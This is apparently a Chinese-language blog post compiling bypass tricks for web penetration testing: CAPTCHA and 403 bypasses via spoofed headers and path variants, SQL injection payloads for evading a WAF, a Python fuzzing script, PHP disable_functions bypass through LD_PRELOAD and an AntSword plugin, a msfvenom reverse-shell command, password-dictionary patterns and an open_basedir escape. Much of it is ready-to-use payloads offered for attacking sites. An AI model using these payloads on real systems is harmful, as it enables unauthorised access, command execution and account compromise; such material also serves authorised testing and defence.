绕过专题

╰+攻爆jí腚メ 2023-01-07 10:13 395阅读 0赞

①绕过验证码专题

原理:
直接截取返回包的cookie或者json流中的验证码进行绕过,提取出验证码进行直接验证即可–>绕过
方法
利用burp中的Extractor或者是Bp自带的Marco进行自动化测试

典型类型:

  1. ①如返回包的cookie中可截取验证码
  2. ②返回包的json流中可能有验证码

万能验证码

  1. 00009999

空验证码

  1. code=undefined

②403绕过专题

方法

  1. ①端口利用-->一个站不同的端口测
  2. ②修改host-->收集一个资产的相关ip,进行测不同host请求状况
  3. ③覆盖请求url
  4. 绕的参数-->X-Original-URLX-Rewrite-URL标头绕过Web服务器的限制。(可以使用X-Original-URLX-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。)
  5. 即覆盖参数请求思路-->即服务器支持该两种请求状况思路时可利用绕
  6. #常见于-->后台登录时一闪而过,要求验证类
  7. http header方面bypass
  8. Request
  9. GET /auth/login HTTP/1.1
  10. Response
  11. HTTP/1.1 403 Forbidden
  12. Reqeust
  13. GET / HTTP/1.1
  14. X-Original-URL: /auth/login
  15. Response
  16. HTTP/1.1 200 OK
  17. or
  18. Reqeust
  19. GET / HTTP/1.1
  20. X-Rewrite-URL: /auth/login
  21. Response
  22. HTTP/1.1 200 OK
  23. 除了这些还可绕思路
  24. 302跳转:拦截并drop跳转的数据包,使其停留在当前页面,修改返回的302200,然后删除掉Location字段。即可绕过
  25. #从url参数方面bypass
  26. /admin/panel # ===> 403
  27. /admin/monitor # ===> 200
  28. /admin/monitor/;panel # ===> 302
  29. web.com/admin # ===> 403
  30. web.com/ADMIN # ===> 200
  31. web.com/admin/ # ===> 200
  32. web.com/admin/. # ===> 200
  33. web.com//admin// # ===> 200
  34. web.com/./admin/./ # ===> 200
  35. web.com/./admin/.. # ===> 200
  36. web.com/%2f/admin/ # ===> 200
  37. web.com/admin.json # ===> 200(ruby)
  38. web.com/%2e/admin # ===> 200
  39. web.com/%252e/admin # ===> 200
  40. web.com/%ef%bc%8fadmin # ===> 200
  41. web.com/admin # ===> 302
  42. web.com/admin..;/ # ===> 200
  43. #从协议上bypass
  44. http://web.com/admin # ===> 403
  45. https://web.com/admin # ===> 200
  46. referer
  47. 添加一个ReFerer参数进行绕
  48. ReFerer:https://xxx/auth/login
  49. ⑤代理ip方式绕
  50. 如该类参数
  51. X-Originating-IP: 127.0.0.1
  52. - X-Remote-IP: 127.0.0.1
  53. - X-Client-IP: 127.0.0.1
  54. - X-Forwarded-For: 127.0.0.1
  55. - X-Forwared-Host: 127.0.0.1
  56. - X-Host: 127.0.0.1
  57. - X-Custom-IP-Authorization: 127.0.0.1

在这里插入图片描述
相关插件

③绕upload专题

upload绕
文件上传绕过技巧总结

④绕sql注入专题

绕云锁sql注入

  1. and if(ascii(substr((/*!50000%53elect*/column_name from information_schema.columns where table_schema=database/**/() and table_name='xxxx' limit 0,1),1,1))>96,1,sleep/**/(5))

典型分析链接

sql注入绕过特殊姿势

  1. #常见可试绕过思路
  2. --%0a union --%0a select
  3. #常见可测试点
  4. order by,group by,{ $var}
  5. #mysql
  6. Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
  7. 数据库是Mysql,可以尝试使用&&替换and,如:' && '1'='1' %26%26 '1'='1
  8. 数据库是Mysqlwaf过滤了=,可尝试用like替代。如:and 1 like 1

绕waf

  1. ①识别waf
  2. 两个工具
  3. ②三个fuzz工具
  4. https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
  5. https://github.com/fuzzdb-project/fuzzdb/tree/master/attack
  6. https://github.com/foospidy/payloads
  7. ③常用fuzz脚本
  8. def fuzzing(payload):
  9. payloads = []
  10. special_chars = ['\r', '\n', '\t', '_', '~', '&', '-', '=', '/', '*','^', '$', ',', '.', '/', '<', '>', '|', '/**/', '--','\r\n', '||']
  11. #special_chars 字典在步骤2中选择合适的
  12. for char in special_chars:
  13. for k in range(len(payload)):
  14. try:
  15. temp_payload = payload[:k] + char + payload[k:]
  16. payloads.append(temp_payload)
  17. except Exception as e:
  18. print(e)
  19. return payloads

sql注入bypass
注意点
1.版本导致注入问题
mysql版本4.1时,因为不存在默认表,所以可能出现爆不出表的情况

⑤绕目录遍历

  1. #利用其绕读取
  2. …/./

#如即–>目录遍历
在这里插入图片描述

⑥绕函数禁用类

四种方法
①攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞

②寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;

③mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;

④利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

需要利用条件:
①php需要支持putenv()、mail()函数
②linux环境下
绕shell时遇到函数禁用
①插件工具

  1. https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

构造执行命令

Payload:http://xxx/dp1.php?cmd=whoami&outpath=/tmp/xx&sopath=/xxx/dp1.so\*\*
②蚁剑插件绕
php版本7的话直接梭哈
如linux下
找到sock文件

  1. /tmp/php-cgi-56.sock

在这里插入图片描述
执行即可获得一个马
在这里插入图片描述

然后直接执行后
进行连接
这个.antproxy.php
密码为原来马的密码
在这里插入图片描述
然后连接执行即可绕过

但是注意这个绕只可绕一会,然后就会断掉
所以接着绕法

  1. msfs生成一个马,上传到这个上面,然后在这几分钟里面进行执行命令,从而实现监听
  2. #如
  3. msfvenom -p linux/x64/shell_reverse_tcp -i 5 LHOST=x.x.x.x LPORT=80 -f elf -o /root/shell.elf

在这里插入图片描述
③组件思路
bypass disable_function总结
中间组件bypass

⑦字典爆破思路

  1. 撞库
  2. 常见手机号
  3. 常见登录账号(adminmanagertestdeme)
  4. 数字组合(0-900-99000-9990000-999900000-99999)
  5. 拼音(zhangsanzhang.sanzhangs)
  6. 中文(张三、李四、张san)
  7. 英文名(TomJeoCherry)
  8. 单位名(zssx123zssx@123)
  9. 地名(beijing123beijing@123)
  10. 组合(地名+单位名)
  11. 域名(baidu@123JD@123)
  12. 生日组合

⑧绕目录限制

方法:新建一个.user.ini 文件
里面内容下面这个,从而实现绕过php.ini文件

  1. open_basedir=:/

发表评论

表情:
评论列表 (有 0 条评论,395人围观)

还没有评论,来说两句吧...

相关阅读

    相关 PIE保护

    (一):partial write 开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write。但是我们不能写入一个半字节,所以选择写入两个

    相关 专题

    ①绕过验证码专题 原理: 直接截取返回包的cookie或者json流中的验证码进行绕过,提取出验证码进行直接验证即可–>绕过 方法 利用burp中的Extra